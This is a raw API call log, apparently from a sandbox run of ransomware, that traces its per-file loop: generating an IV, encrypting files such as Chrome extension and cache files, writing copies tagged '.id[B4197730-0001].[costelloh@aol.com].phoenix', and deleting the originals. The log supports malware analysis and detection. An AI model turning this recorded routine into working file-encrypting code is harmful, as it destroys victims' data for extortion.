	[0254.080] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.080] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0254.080] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.080] CloseHandle (hObject=0x2e8) returned 1
	[0254.080] CloseHandle (hObject=0x2e4) returned 1
	[0254.080] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat")) returned 1
	[0254.095] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.095] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.103] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=20) returned 1
	[0254.103] CloseHandle (hObject=0x2d8) returned 1
	[0254.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat")) returned 0x20
	[0254.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.104] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.104] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0254.104] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0254.104] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.104] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x14, lpOverlapped=0x0) returned 1
	[0254.105] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x20, dwBufLen=0x20 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x20) returned 1
	[0254.105] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x20, lpOverlapped=0x0) returned 1
	[0254.106] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0254.106] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.106] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0254.106] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.106] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0254.106] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.106] CloseHandle (hObject=0x2d8) returned 1
	[0254.106] CloseHandle (hObject=0x2c4) returned 1
	[0254.106] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat")) returned 1
	[0254.518] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.518] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.521] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=160) returned 1
	[0254.521] CloseHandle (hObject=0x2d0) returned 1
	[0254.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png")) returned 0x20
	[0254.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.521] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.521] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.522] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0254.522] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.522] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa0, lpOverlapped=0x0) returned 1
	[0254.523] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0254.523] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0254.524] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0254.524] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.524] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.524] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.524] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.524] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.524] CloseHandle (hObject=0x2d0) returned 1
	[0254.524] CloseHandle (hObject=0x2b4) returned 1
	[0254.525] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png")) returned 1
	[0254.526] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.526] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.526] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=92) returned 1
	[0254.527] CloseHandle (hObject=0x2d0) returned 1
	[0254.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html")) returned 0x20
	[0254.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.527] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.527] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.527] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.527] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0254.527] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0254.527] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.527] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5c, lpOverlapped=0x0) returned 1
	[0254.528] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0254.528] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x60, lpOverlapped=0x0) returned 1
	[0254.529] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0254.529] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.529] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.529] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.529] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.529] CryptDestroyKey (hKey=0x151040) returned 1
	[0254.529] CloseHandle (hObject=0x2d0) returned 1
	[0254.529] CloseHandle (hObject=0x304) returned 1
	[0254.530] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html")) returned 1
	[0254.530] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.530] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0254.533] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=95) returned 1
	[0254.533] CloseHandle (hObject=0x304) returned 1
	[0254.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js")) returned 0x20
	[0254.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0254.533] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.533] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.533] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0254.533] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.533] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5f, lpOverlapped=0x0) returned 1
	[0254.535] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0254.535] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x60, lpOverlapped=0x0) returned 1
	[0254.536] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0254.536] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.536] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
	[0254.536] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.536] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe2, lpOverlapped=0x0) returned 1
	[0254.536] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.536] CloseHandle (hObject=0x304) returned 1
	[0254.536] CloseHandle (hObject=0x2d0) returned 1
	[0254.536] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js")) returned 1
	[0254.537] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.537] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=725) returned 1
	[0254.537] CloseHandle (hObject=0x2d0) returned 1
	[0254.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json")) returned 0x20
	[0254.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.538] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.538] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.538] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.538] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0254.538] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0254.538] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.538] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2d5, lpOverlapped=0x0) returned 1
	[0254.562] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2e0) returned 1
	[0254.562] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2e0, lpOverlapped=0x0) returned 1
